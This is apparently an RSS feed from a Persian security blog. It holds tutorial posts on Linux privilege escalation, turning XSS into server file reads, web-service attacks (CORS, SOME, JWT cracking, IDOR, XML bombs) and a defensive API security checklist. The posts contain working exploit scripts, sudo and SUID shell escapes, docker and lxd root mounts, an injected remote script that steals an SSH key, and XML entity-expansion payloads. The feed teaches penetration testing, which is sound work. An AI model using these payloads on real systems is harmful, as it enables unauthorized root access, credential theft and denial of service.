<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>نوشته های rezaduty</title>
        <link>https://virgool.io/feed/@rezaduty</link>
        <description>به نام خداوندی که به آدمی آنچه را که نمی‌دانست تعلیم داد.</description>
        <language>fa</language>
        <pubDate>2026-04-15 09:49:45</pubDate>
        <image>
            <url>https://files.virgool.io/upload/users/24243/avatar/RcPx2X.png?height=120&amp;width=120</url>
            <title>rezaduty</title>
            <link>https://virgool.io/@rezaduty</link>
        </image>

                    <item>
                <title>ارتقا دسترسی در لینوکس - قسمت ۲</title>
                <link>https://virgool.io/@rezaduty/%D8%A7%D8%B1%D8%AA%D9%82%D8%A7-%D8%AF%D8%B3%D8%AA%D8%B1%D8%B3%DB%8C-%D8%AF%D8%B1-%D9%84%DB%8C%D9%86%D9%88%DA%A9%D8%B3-%D9%82%D8%B3%D9%85%D8%AA-%DB%B2-hb1zrfvpiupt</link>
                <description>در قسمت قبل برخی از روش های ارتقا دسترسی در لینوکس را بررسی کردیم در این قسمت می خواهیم روش های ارتقا دسترسی از طریق اکسپلویت برنامه ها را بررسی کنیم.قبل از شروع این قسمت لازم به گفتن هست برای تسلط به ارتقا دسترسی از طریق کرنل و کتابخانه ها دانش مهندسی معکوس، سیستم عامل و اکسپلویت نویسی نیاز است.این پست شامل ویژگی های امنیتی سیستم عامل ها و کامپایلر ها نیست و به صورت مستقیم و خیلی خیلی ساده و مبتدی برخی آسیب پذیری ها را بررسی می کنیم.همچنین برای آشنایی با روش های بیشتر میتوانید از مطالب دوره sec660 و sec760 استفاده کنید.جزوه بسیار خلاصه دوره sec660 را از اینجا و دوره sec760 را از اینجا میتوانید پیدا کنید.آسیب پذیری سرریز پشته یا Stack Overflowفرض کنید برنامه ای متغیری دارد و برنامه نویس اندازه متغیر را به صورت ثابت تعریف کرده است.اگر ما بتوانیم مقدار زیاد تر از اندازه سایز متغیر به برنامه پاس بدهیم می توانیم کنترل برنامه را در اختیار و از دسترسی برنامه برای ارتقا دسترسی استفاده کنیم.برای مهندسی معکوس و مشاهده سورس کد فایل های اجرایی از ida استفاده می کنیم.کد زیر را در نظر بگیرید.int vulnerable()
{
  char s; // [sp+4h] [bp-14h]@1

  gets(&amp;s);
  return puts(&amp;s);
}متغیر s از رجیستر ebp تا اندازه مشخص شده 0x14 است.همچنین در آدرس های مشخص شده در ida آدرس 0804843B  مربوط به retaddr است. .text:0804843B success         proc near
.text:0804843B                 push    ebp
.text:0804843C                 mov     ebp, esp
.text:0804843E                 sub     esp, 8
.text:08048441                 sub     esp, 0Ch
.text:08048444                 push    offset s        ; &amp;quotYou Hava already controlled it.&amp;quot
.text:08048449                 call    _puts
.text:0804844E                 add     esp, 10h
.text:08048451                 nop
.text:08048452                 leave
.text:08048453                 retn
.text:08048453 success         endpبنابراین پیلود ما باید شامل اندازه retaddr یا sucess_addr به اضافه اندازه ثبات ebp  به اضافه اندازه متغیر تعریف شده باشد که در اینصورت پیلود حمله ما به این صورت خواهد بود.0x14*&#039;a&#039;+&#039;bbbb&#039;+success_addrبرای اکسپلویت از کتابخانه pwntools استفاده می کنیم.در اکسپلویت ابتدا آدرس ابتدایی برنامه را که با success_addr مشخص شده است چاپ می کنیم و سپس پیلود خود را که به اندازه success_addr، اندازه ثبات ebp و همچنین اندازه متغیر تعریف شده است، به برنامه تزریق می کنیم.##coding=utf8
from pwn import *
sh = process(&#039;./stack_example&#039;)
success_addr = 0x0804843b
payload = &#039;a&#039; * 0x14 + &#039;bbbb&#039; + p32(success_addr)
print p32(success_addr)
sh.sendline(payload)
sh.interactive()آسیب پذیری سرریز Heap یا Heap Overflowدر برنامه هایی که تخصیص حافظه پویا دارند و از heap استفاده می کنند ممکن است عدم مدیریت حافظه و کنترل ورودی منجر به آسیب پذیری heap overflow شود.به زبان دیگر اگر تعداد بایت های نوشته شده در یک بلاک یا heap block بیش تر از اندازه تعیین شده باشد ممکن است heap overflow رخ دهد و مهاجم بتواند باعث سرریز داده و دسترسی به آدرس فیزیکی بلاک بعدی شود.برای شناسایی heap overflow باید:ابتدا برنامه از heap استفاده کند.دوم اندازه داده های نوشته شده به درستی کنترل نشده باشد.چند نمونه از توابعی که عدم کنترل ورودی می تواند باعث این آسیب پذیری شود عبارتنند از:ورودی هاentergetsscanfvscanfخروجی هاsprintfتوابع کار با رشته هاstrcpystrcatbcopyبرای مثال به کد زیر دقت کنید.int my_gets(char *ptr,int size)
{
    int i;
    for(i=0;i&lt;=size;i++)
    {
        ptr[i]=getchar();
    }
    return i;
}
int main()
{
    void *chunk1,*chunk2;
    chunk1=malloc(16);
    chunk2=malloc(16);
    puts(&amp;quotGet Input:&amp;quot);
    my_gets(chunk1,16);
    return 0;
}
در برنامه بالا شرط بررسی حلقه به درستی کنترل نشده است بدین منظور میتوانیم با اجرای چندباره برنامه بتوانیم به بلاک بعدی برویم.برای اینکار ابتدا برنامه را با debugger هایی مانند gdb اجرا می کنیم.0x602000:   0x0000000000000000  0x0000000000000021 &lt;=== chunk1
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000021 &lt;=== chunk2
0x602030:   0x0000000000000000  0x0000000000000000سپس مقدار &#x27;A&#x27;*17 به برنامه پاس می دهیم.0x602000:   0x0000000000000000  0x0000000000000021 &lt;=== chunk1
0x602010:   0x4141414141414141  0x4141414141414141
0x602020:   0x0000000000000041  0x0000000000000021 &lt;=== chunk2
0x602030:   0x0000000000000000  0x0000000000000000توضیحات بیشتر درباره این آسیب پذیریآسیب پذیری race conditionفرض کنید برنامه ای وجود دارد که نام فایل را از کاربر گرفته و در صورتی که نام آن مخالف flag باشد محتویات آن را چاپ می کند.حال اگر بتوانیم از این شرط گذر کنیم می توانیم محتویات فایل flag را چاپ کنیم.به واسطه آسیب پذیری race condition می توانیم درخواست چاپ محتویات فایل را به تعداد بالا و در زمان مشخص به برنامه ارسال کنیم و برنامه به واسط این همزمانی برای دسترسی به شی به اشتراک گذاشته شده درخواست اول را بررسی و به درخواست دوم اجازه دسترسی می دهد.برای مثال در برنامه زیر ابتدا نام فایل به عنوان پارامتر از کاربر گرفته می شود سپس بررسی می شود که نام فایل flag نباشد.#include &lt;fcntl.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;unistd.h&gt;
void showflag() { system&#40;&amp;quotcat flag&amp;quot&#41;; }
void vuln(char *file, char *buf) {
  int number;
  int index = 0;
  int fd = open(file, O_RDONLY);
  if (fd == -1) {
    perror(&amp;quotopen file failed!!&amp;quot);
    return;
  }
  while (1) {
    number = read(fd, buf + index, 128);
    if (number &lt;= 0) {
      break;
    }
    index += number;
  }
  buf[index + 1] = &#039;\x00&#039;;
}
void check(char *file) {
  struct stat tmp;
  if (strcmp(file, &amp;quotflag&amp;quot) == 0) {
    puts(&amp;quotfile can not be flag!!&amp;quot);
    exit(0);
  }
  stat(file, &amp;tmp);
  if (tmp.st_size &gt; 255) {
    puts(&amp;quotfile size is too large!!&amp;quot);
    exit(0);
  }
}
int main(int argc, char *argv[argc]) {
  char buf[256];
  if (argc == 2) {
    check(argv[1]);
    vuln(argv[1], buf);
  } else {
    puts(&amp;quotUsage ./prog &lt;filename&gt;&amp;quot);
  }
  return 0;
}بعد از بررسی محتویات فایل خوانده و در استک نوشته می شود.همانطور که از کد مشخص است اندازه ورودی کنترل نشده است و آسیب پذیری stack overflow محرز است و کافی است آدرس تابع main را تغییر دهیم.from pwn import *
test = ELF(&#039;./test&#039;)
payload = &#039;a&#039; * 0x100 + &#039;b&#039; * 8 + p64(test.symbols[&#039;showflag&#039;])
open(&#039;big&#039;, &#039;w&#039;).write(payload)همچنین برای اکسپلویت آسیب پذیری race condition باید ابتدا اسکریپتی داشته باشیم که به تعداد بالا فایل را تولید کند.فایل exp.sh#!/bin/sh
for i in `seq 500`
do
    cp small fake
    sleep 0.000008
    rm fake
    ln -s big fake
    rm fake
doneسپس اسکریپت دیگر فایل ها را به برنامه پاس دهد.فایل run.sh#!/bin/sh
for i in `seq 1000`
do
    ./test fake
doneبرای اجرا هم ابتدا اسکریپت ساخت فایل را اجرا و سپس فایل را به عنوان پارامتر به برنامه هدف پاس می دهیم.(sh exp.sh &amp;) &amp;&amp; sh run.shاز دیگر آسیب پذیری های دیگر می توان به موارد زیر اشاره نمود.Bypassing Stack CanariesFormat StringReturn-oriented ProgrammingJump-oriented Programming* Heap *Integer overflowمنابع و توضیحات بیشترhttps://tc.gts3.org/cs6265/2019/tut/index.htmlhttps://ctf-wiki.github.io/ctf-wiki/pwn/linux/race-condition/problem-zh/https://github.com/TechSecCTF/pwn_challshttps://github.com/shellphish/how2heaphttps://heap-exploitation.dhavalkapil.com/attacks/double_free.htmlhttp://exploit-exercises.lains.space/</description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Tue, 21 Jul 2020 18:20:52 +0430</pubDate>
            </item>
                    <item>
                <title>روش های ارتقاء دسترسی در لینوکس - قسمت ۱</title>
                <link>https://virgool.io/@rezaduty/%D8%B1%D9%88%D8%B4-%D9%87%D8%A7%DB%8C-%D8%A7%D8%B1%D8%AA%D9%82%D8%A7%D8%A1-%D8%AF%D8%B3%D8%AA%D8%B1%D8%B3%DB%8C-%D8%AF%D8%B1-%D9%84%DB%8C%D9%86%D9%88%DA%A9%D8%B3-%D9%82%D8%B3%D9%85%D8%AA-%DB%B1-bmljpgpux1wj</link>
                <description>یکی از مهم ترین کارها بعد از نفوذ به سرور و در اختیار گرفتن دسترسی کاربر عادی،  ارتقاء دسترسی و یا مجوز دسترسی به اطلاعات سایر کاربران است.ما در لینوکس روش های مختلف و خلاقانه ای داریم که در چند پست قسمت خیلی کوچکی از این روش ها را بررسی می کنیم.در این آموزش ها ما سه روش تغییر دسترسی در لینوکس را بررسی می کنیم.در روش اول به صورت کلی برای تغییر دسترسی ما تلاش می کنیم فایلی را که دارای مجوز مشخص است را پیدا(A) و فایل های دیگر را که با فایل دارای مجوز درارتباط هستند را به نحوی تغییر دهیم(B) که در هنگام اجرا توسط فایل دارای مجوز دسترسی ما ارتقا پیدا کند.A(B)از نمونه های این روش می توان استفاده از sudoer و suid و docker اشاره نمود.در روش دوم با استفاده از مفاهیم سیستم عامل و کتابخانه های مورد استفاده برنامه های سعی می کنیم دسترسی خود را تغییر دهیم.از نمونه های این روش می توان به استفاده از rope و heap و stack اشاره نمود.در روش سوم هم با استفاده از قابلیت های کرنل و برنامه های مرتبط با آن و آسیب پذیری های شناخته شده آن سعی می کنیم دسترسی خود را ارتقا ببخشیم.از نمونه های این روش هم می توان به آسیب پذیری sudo با کد CVE-2019-14287 و یا آسیب پذیری در systemctl با کد CVE-2018-19788 اشاره نمود.تعیین نادرست sudoerهمانطور که می دانیم کاربرانی که حق اجرای دستور sudo دارند sudoer نامیده و حق اجرای موارد مشخص شده در فایل /etc/sudoers را با دسترسی مدیر سیستم دارند.برای بررسی این فایل می توانیم از دستور sudo -l استفاده کنیم.برای مثال فرض کنید حق اجرای python در فایل sudoers به صورت زیر برای کاربر demo در نظر گرفته شده است.demo All=(ALL) NOPASSWD: /usr/bin/pythonخب مشخصا کاربر demo می تواند به این شکل در python دسترسی خود را به root ارتقاء و دستورات را با دسترسی root اجرا کنید.python -c &#039;import os;os.system&#40;&amp;quotid&amp;quot&#41;&#039;نمونه ای دیگر در زبان java به این شکل خواهد بود.در صورت اجرا فایل jjs در مسیر /usr/lib/jvm/java-11-openjdk-amd64/bin/Java.type(&#039;java.lang.Runtime&#039;).getRuntime().exec&#40;&#039;/bin/sh -pc $@|sh${IFS}-p _ echo sh -p /dev/pts/0 2&gt;/dev/pts/0&#039;&#41;.waitFor()در مثالی دیگر فرض کنید ویرایشگر های vim و nano قابلیت اجرا تحت sudo را دارند.برای ارتقاء دسترسی در vim به شکل زیر عمل می کنیم.:set shell=/bin/sh:shellهمچنین برای ارتقاء دسترسی در nano هم به شکل زیر عمل می کنیم.^R^Xreset; sh 1&gt;&amp;0 2&gt;&amp;0تعیین نادرست SUIDدر لینوکس ما قابلیت تنظیم مجوز برای فایلی مشخص را برای اجرای تحت کاربر خاص داریم.این تنظیم مجوز با suid انجام می شود.برای مثال اگر suid فایلی ۴۰۰۰ باشد ما می توانیم به واسطه آن فایل دسترسی خود را تغییر دهیم.برای پیدا نمودن فایل های با مجوز ۴۰۰۰ از دستور زیر استفاده می کنیم.find / -uid 0 -perm -4000 -type f 2&gt;/dev/nullبعد از پیدا نمودن فایل دارای مجوز، فایل اجرایی را توسط کاربر اجرا و از مجوز های آن به نحو احسنت استفاده می کنم.برای مثال فرض کنید journalctl دارای suid است.کافی است است بعد از اجرا، شل را فراخوانی کنیم.!/bin/shدر روش دیگر فایلی وجود دارد که سیستمی است ولی قابل نوشتن یا writable است.برای پیدا نمودن فایل های writable از دستور زیر استفاده می کنیم.find / -writable ! -user whoami -type f ! -path “/proc/” ! -path “/sys/” -exec ls -al {} \; 2&gt;/dev/nullحال فرض کنید فایل header-00 قابلیت نوشتن دارد.فایل 00-header هنگام ورود با ssh اجرا و banner مشخص شده را نمایش می دهدبرای مثال برای خوش آمد گوشیی که کاربر می تواند مورد استفاده قرار بگیرد.این فایل به صورت پیش فرض تحت root اجرا و برای کاربران قابل شخصی سازی است. برای ارتقاء دسترسی توسط این فایل می توانیم passwd را بخوانیم.echo &amp;quotcat /root/root.txt&amp;quot &gt;&gt; 00-headerبنابر این بعد از ورود به سیستم توسط کاربر در اختیار گرفته شده فایل محتوای 00-header چاپ و فایل passwd خوانده می شود.افزایش دسترسی در dockerاگر سرویس docker توسط کاربر بدون احراز هویت قابل اجرا و یا کاربر عضو گروه docker و توانایی راه اندازی سرویس را داشته باشد ما می توانیم container را از root در mnt به صورت زیر اصطلاح mount کنیم.docker run -v /root:/mnt -it ubuntuهمچنین می توانیم از دستور زیر هم استفاده کنیم.docker run --rm -it --privileged nginx bash mkdir /mnt/fsroot mount /dev/sda /mnt/fsrootافزایش دسترسی با lxdابتدا با استفاده از دستورات زیر نسخه از lxd به اصطلاح build می کنیم.git clone https://github.com/saghul/lxd-alpine-builder.git ./build-alpineسپس در سیستم هدف image را دریافت و سپس دستورات زیر را به ترتیب اجرا می کنیم.import ./alpine-v3.12-x86_64-20200621_2005.tar.gz --alias attackerlxc init attacker tester -c security.privileged=truelxc exec tester/bin/shافزایش دسترسی با ldap ابتدا باید ssh را با استفاده از ldap فعال کنیم برای اینکار ابتدا دستور زیر را اجراldapmodify -x -w PASSWORDسپس محتوای زیر را با توجه به مشخصات سرور در آن قرار دهید.dn: cn=openssh-lpk,cn=schema,cn=config 
objectClass: olcSchemaConfig 
cn: openssh-lpk olcAttributeTypes: ( 1.3.6.1.4.1.24552.500.1.1.1.13 NAME &#039;sshPublicKey&#039;
DESC &#039;MANDATORY: OpenSSH Public key&#039; 
EQUALITY octetStringMatch 
SYNTAX 1.3.6.1.4.1.1466.115.121.1.40 ) 
olcObjectClasses: ( 1.3.6.1.4.1.24552.500.1.1.2.0 NAME &#039;ldapPublicKey&#039; SUP top AUXILIARY
DESC &#039;MANDATORY: OpenSSH LPK objectclass&#039; 
MAY ( sshPublicKey $ uid ) )بعد از فعال سازی ssh حال برای ارتقا دسترسی دستور زیر را اجراldapmodify -x -w PASSWORDو سپس محتوای زیر را با توجه به مشخصات کاربر و گروه کاربر هدف و کلید id_rsa خود، تغییر و قرار می دهیم.dn: uid=UID,ou=users,ou=linux,ou=servers,dc=DC,dc=DC changeType: modify add: objectClass objectClass: ldapPublicKey - add: sshPublicKey sshPublicKey: content of id_rsa.pub - replace: EVIL GROUP ID 
uidNumber: CURRENT USER ID - replace: EVIL USER ID 
gidNumber: CURRENT GROUP ID</description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Mon, 06 Jul 2020 18:48:42 +0430</pubDate>
            </item>
                    <item>
                <title>از xss به rce</title>
                <link>https://virgool.io/@rezaduty/%D8%A7%D8%B2-xss-%D8%A8%D9%87-rce-x4w79sm0nakv</link>
                <description>the-scientist.comهمانطور که می دانیم آسیب پذیری xss در سمت کاربر یا client رخ می دهد بنابر این هر اسکریپت یا دستور که تزریق می شود در سمت کاربر و به ازای هر کاربر اجرا می شود؛با این توضیحات فرض کنید سامانه ای وجود دارد که می توان در بخش export آن گزارشات مختلف را به صورت pdf دریافت نمود.درخواست export، شامل عنوان فایل خروجی و قابل تغییر است ؛ به این صورت که می توان عنوان فایل را از title=History به title=Test  تغییر داد.این تغییر به شکل &lt;title=&lt;h1&gt;test&lt;/h1 هم امکان پذیر است و در فایل خروجی می تواند html injection انجام بپذیرد.همچنین می توانیم به جای test اسکریپتی را در صفحه بارگذاری کنیم.title=&lt;script src=&amp;quothttp://10.10.10.10/script.js&amp;quot&gt;برای امکان ارتقاء آسیب پذیری xss ابتدا در فایل script.js موقعیت اجرا اسکریپت را بررسی می کنیم.برای این کار می توانیم از  به شکل زیر استفاده می کنیم.اگر خروجی location مانند تصویر به شکل :file بودمی توانیم با استفاده از XMLHttpRequest به سمت سرور فایلی را بخوانیم و در فایل export گرفته شده در سمت کاربر نمایش بدهیم.درخواست های XMLHttpRequest قابلیت ارسال درخواست سمت سرور را با استفاده از جاوااسکریپت به ما می دهند.برای نمایش id_rsa سمت سرور از کد زیر در script.js استفاده می کنیم.کد بالا هنگام اجرا درخواستی به مسیر /home/reader ارسال و فایل id_rsa فرخوانی و به صورت base64 encode نمایش می دهد.حالا درخواست export را با پارامتر&lt;title=&lt;script src=&amp;quothttp://10.10.10.10/script.js&amp;quot&gt;&lt;/scriptارسال می کنم.هنگام اجرا با توجه به وجود آسیب پذیری xss، اسکریپت بارگذاری و توسط XMLHttpRequest، فایل در سمت سرور خوانده  و مانند تصویر در فایل نهایی خروجی  سمت کاربر نمایش داده می شود.برای اتصال به سرور کلید نهایی را ذخیره با دستور زیر به آن متصل می شویم.ssh -i id_rsa reader@victim</description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Wed, 01 Jul 2020 20:13:17 +0430</pubDate>
            </item>
                    <item>
                <title>چک لیست امنیت وبسرویس ها</title>
                <link>https://virgool.io/securecoding/%DA%86%DA%A9-%D9%84%DB%8C%D8%B3%D8%AA-%D8%A7%D9%85%D9%86%DB%8C%D8%AA-%D9%88%D8%A8%D8%B3%D8%B1%D9%88%DB%8C%D8%B3-ctitzrnpuonx</link>
                <description>در سری آموزش های تست نفوذ وبسرویس برخی از حملات را به صورت خلاصه بررسی کردیم.در این قسمت می خواهیم راهکار های جلوگیری و همچنین راهنماهای تست وبسرویس ها را معرفی کنیم.در این مخزن گیت هاب چک لیست امنیت وبسرویس ها به زبان انگلیسی قرار داده شده است که نسخه فارسی آن را می توانید در قسمت زیر مشاهده فرمایید.احراز هویت(Authentication)هیچگاه از Basic Auth استفاده نکنید. از روش های استاندارد کنید (برای مثال از JWT و یا OAuth استفاده کنید).سعی در ایجاد روش های جدید و ساخت دوباره چرخ در Authentication, token generation, password storage نکنید.از Max Retry و قابلیت قفل شدن اکانت استفاده کنید .از رمز نگاری برای رمز کردن تمام اطلاعات مهم و حساس استفاده کنید.استفاده از JWT (JSON Web Token)از کلید های پیچیده در (JWT Secret) استفاده کنید تا حدس زدن آن ها دشوار تر باشد.در هیچ صورت از الگوریتم های رمز نگاری در فرانت اند استفاده نکنید. باید از الگوریتم های (HS256 یا RS256) در بک اند استفاده کنید.برای توکن با استفاده از (TTL, RTTL) مدت زمان کوتاه اعتبار تعریف کنید.اطلاعات مهم را داخل JWT نگهداری نکنید, چون می توان به راحتی آن را رمز گشایی کرد.استفاده از OAuthبرای redirect_uri در بک اند white list مسیر های مجاز را تعریف کنید.برای ارتباط بخش های مختلف از کد به جای تو کن استفاده کنید (از response_type=token استفاده نکنید).از پارامتر state با مقدار تصادفی برای جلوگیری از حملات CSRF استفاده کنید.مقدار پیش فرضی برای scope تعریف کنید, و مقدار scope را برای هر application جداگانه تعریف کنید.کنترل دسترسی(Access)محدودیت درخواست برای جلوگیری از حملات DDOS یا تکذیب سرور\حملات brute force یا حدس زدن تعریف کنید.از پروتکل HTTPS برای جلوگیری از حملات MITM(Man-in-the-middle) یا مرد میانی تعریف کنید.از HSTS در هدر درخواست ها به همراه SSL برای جلوگیری از حملات SSL Strip استفاده کنید.کنترل ورودی یا Inputبرای هر عملیات از متد متناسب در درخواست استفاده کنید: GET (خواندن), POST (ایجاد), PUT/PATCH (جایگذاری/بروزرسانی), و DELETE (برای حذف رکورد), و برای متد های نا متناسب از پاسخ 405 Method Not Allowed استفاده کنید.مقدار content-type را بررسی و اعتبار سنجی کنید (برای مثال از application/xml, application/json استفاده کنید) و هرچه به غیر مقادیر مجاز را با 406 Not Acceptable پاسخ دهید.همچنین برای content-type در متد post از مقادیر (application/x-www-form-urlencoded, multipart/form-data, application/json و ...) استفاده کنید.ورودی های سمت کاربر را برای جلوگیری از حملات متداول (مانند XSS, SQL-Injection, Remote Code Executionو ...) کنترل کنید.اطلاعات مهم مانند (credentials, Passwords, security tokens, یا API keys) در URL انتقال ندهید و به جای آن از هدر های استاندارد در درخواست استفاده کنید.از درگاه برای API برای cache و قوانین rate limit استفاده کنید (برای مثال Quota, Spike Arrest, یا Concurrent Rate Limit) و همچنین منابع مورد نیاز را به صورت پویا بارگذاری کنید.پردازش(Processing)تمام نقاظ یا endpoint هایی که برای دسترسی به آن نیاز به احراز هویت است را بررسی کنید.برای دریافت ID موجودیت ها از این شکل /me/orders به جای این شکل /user/654321/orders استفاده کنید.از حالت auto-increment برای ID ها استفاده نکنید. از UUID استفاده کنید.از فایل های xml استفاده می کنید, کدهای دریافت و parse نمودن xml را برای جلوگیری از حملات XXE (XML external entity attack) کنترل کنید.اگر از فایل های xml استفاده می کنید, کدهای دریافت و parse نمودن xml را برای جلوگیری از حملات XXE (XML external entity attack) کنترل کنید..از CDN های برای بارگذاری فایل ها استفاده کنید.اگر با داده های بسیار زیادی سر و کار دارید, از Workers و Queues برای پردازش استفاده کنید تا پاسخ به درخواست ها سریع تر باشد.فراموش نکنید حالت DEBUG را غیر فعال کنید.خروجی(Output)پارامتر و مقدار X-Content-Type-Options: nosniff در هدر پاسخ ارسال کنید.پارامتر و مقدار X-Frame-Options: deny در هدر پاسخ ارسال کنید.پارامتر و مقدار Content-Security-Policy: default-src &#x27;none&#x27; در هدر پاسخ ارسال کنید.اطلاعاتی که باعث شناسایی سیستم مورد استفاده می شود را حذف کنید مانند: X-Powered-By, Server, X-AspNet-Version.مقدار content-type در پاسخ را حتما تعیین کنید, اگر نوع خروجی application/json است پس نوع پاسخ یا content-type هم باید application/json باشد.اطلاعات مهم مانند credentials, Passwords, یا security tokens در پاسخ ارسال نکنید.کد وضیعت پاسخ ارسال شده را تعیین کنید. (مانند 200 OK, 400 Bad Request, 401 Unauthorized, 405 Method Not Allowed.).یکپارچه سازی و تحویل مستمر(CI &amp; CD)بررسی و ممیزی امنیتی برای تست های unit/integration .استفاده از code review در روند توسعه جدا از بررسی کد توسط شخص توسعه دهنده.تمام اجزای مورد استفاده به صورت مستقیم و غیر مستقیم مانند کتابخانه ها و دیگر وابستگی های پروژه قبل از استفاده در محیط production باید با استفاده از AV تست شوند.طراحی راه حل هایی برای rollback در محیط توسعه در نظر گرفته شود.می توانید فایل اکسل این چک لیست به زبان انگلیسی و فارسی از این جا دریافت کنید.برای تست امنیتی خودکار وبسرویس می توانید از SoapUI و WSSAT استفاده کنید.همچنین برای راهنمای تست تفوذ هم می توانید از این مخزن و این فایل استفاده کنید.</description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Tue, 09 Jun 2020 15:23:58 +0430</pubDate>
            </item>
                    <item>
                <title>آسیب پذیری های CORS,SOME,JWT,IDOR در وبسرویس ها</title>
                <link>https://virgool.io/zeroclick/%D8%A2%D8%B3%DB%8C%D8%A8-%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-%D9%87%D8%A7%DB%8C-corssomejwtidor-%D8%AF%D8%B1-%D9%88%D8%A8%D8%B3%D8%B1%D9%88%DB%8C%D8%B3-%D9%87%D8%A7-xwm2fkivu3so</link>
                <description>در قسمت آخر سری آموزش های تصویری تست نفوذ وبسرویس ها این قسمت با یک سری دیگر از آسیب پذیری های رایج در وبسرویس مثل CORS و SOME و JWT و IDOR آشنا می شویم.آسیب پذیری هایی که این این قسمت می خواهیم درباره آن صحبت کنیم بسیار مرسوم است.برای تست CORS می توانید از روش های زیر هم استفاده نمایید.۱-وبسایت test-cors.org۲-اسکریپت زیر#@merwan
curl -I -X OPTIONS \
  -H &amp;quotOrigin: ${MY_URL}&amp;quot \
  -H &#039;Access-Control-Request-Method: GET&#039; \
  &amp;quot${MY_URL}/SOMETHING&amp;quot 2&gt;&amp;1 | grep -i &#039;Access-Control-Allow-Origin&#039;۳-اسکنر corsypython3 corsy.py -i /path/urls.txtبرای تست و اکسپلویت SOME ۱-وبسایت someattack۲-کد زیر برای اکسپلویت&lt;button =&amp;quotsome()&amp;quot&gt;Evil Click&lt;/button&gt;

function some() {
	open(&amp;quothttp://soap.vul/dvws/vulnerabilities/some/token_generator.php?&amp;mycallback=window.opener.alert&#40;1&#41;;&lt;\/script&gt;¶m1=retrievetoken¶m2=dvwsuser¶m3=some&amp;_=1591253461719&amp;quot);
  setTimeout(&#039;location=&amp;quothttp://soap.vul/dvws/vulnerabilities/some/&amp;quot&#039;)
}
استفاده شد.برای تست jwt۱-وبسایت jwt.io۲-ابزار c-jwt-cracker و crackjwt و jwt-cracker  برای کرک./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjEیاcrackjwt.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE dictionary.txtیاjwt-cracker &amp;quoteyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ&amp;quot &amp;quotabcdefghijklmnopqrstuwxyz&amp;quot 6همچنین برای تست idor و access control ها می توانیم ابتدا کلیه پارامتر هارا با Paramspider و یا ابزار های enumeration کلیه پارامتر ها و endpoint ها شناسایی و به ترتیب درجه اهمیت، idor را تست نماییم.python3 paramspider.py --domain soap.vulابزار دیگر برای تست خودکار HUNT است که می توانید با نصب آن در burp از آن استفاده کنید.در این قسمت تا اسلاید ۲۳ پیش رفتیم.اگر مشکلی در دسترسی به فیلم داشتید می توانید از dideo استفاده کنید.پیشاپیش از کم و کاستی ها این آموزش عذرخواهی می کنم.امید است با نظرات شما روز به روز به کیفیت آموزش ها افزوده شود.</description>
                <category>rezaduty</category>
                <author>rezaduty</author>
                <pubDate>Mon, 08 Jun 2020 10:41:50 +0430</pubDate>
            </item>
                    <item>
                <title>آسیب پذیری های xml bomb,command injection, xst, ssrf در وبسرویس ها</title>
                <link>https://virgool.io/zeroclick/%D8%A2%D8%B3%DB%8C%D8%A8-%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-%D9%87%D8%A7%DB%8C-xml-bombcommand-injection-xst-ssrf-%D8%AF%D8%B1-%D9%88%D8%A8%D8%B3%D8%B1%D9%88%DB%8C%D8%B3-%D9%87%D8%A7-htnh2lninb8c</link>
                <description>از سری آموزش های تصویری تست نفوذ وبسرویس، این قسمت با یک سری دیگر از آسیب پذیری های رایج در وبسرویس مثل xml bomb و command injection و xst و ssrf آشنا می شویمآسیب پذیری هایی که این این قسمت می خواهیم درباره آن صحبت کنیم بسیار گسترده اند بنابراین بخشی از آموزش را در این جا به صورت متنی قرار می دهم.نمونه payload برای تست xml bomb1)
&lt;?xml version=&amp;quot1.0&amp;quot?&gt;
&lt;!DOCTYPE results [&lt;!ENTITY long &amp;quotSOME_SUPER_LONG_STRING&amp;quot&gt;]&gt;
&lt;results&gt;
    &lt;result&gt;Now include &amp;long; lots of times to expand
    the in-memory size of this XML structure&lt;/result&gt;
    &lt;result&gt;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;
    &amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;
    &amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;
    &amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;
    Keep it going...
    &amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;...&lt;/result&gt;
&lt;/results&gt;

2)

&lt;?xml version=&amp;quot1.0&amp;quot?&gt;
&lt;!DOCTYPE results [
    &lt;!ENTITY x0 &amp;quotBOOM!&amp;quot&gt;
    &lt;!ENTITY x1 &amp;quot&amp;x0;&amp;x0;&amp;quot&gt;
    &lt;!ENTITY x2 &amp;quot&amp;x1;&amp;x1;&amp;quot&gt;
    &lt;!ENTITY x3 &amp;quot&amp;x2;&amp;x2;&amp;quot&gt;
    &lt;!-- Add the remaining sequence from x4...x100 (or boom) --&gt;
    &lt;!ENTITY x99 &amp;quot&amp;x98;&amp;x98;&amp;quot&gt;
    &lt;!ENTITY boom &amp;quot&amp;x99;&amp;x99;&amp;quot&gt;
]&gt;
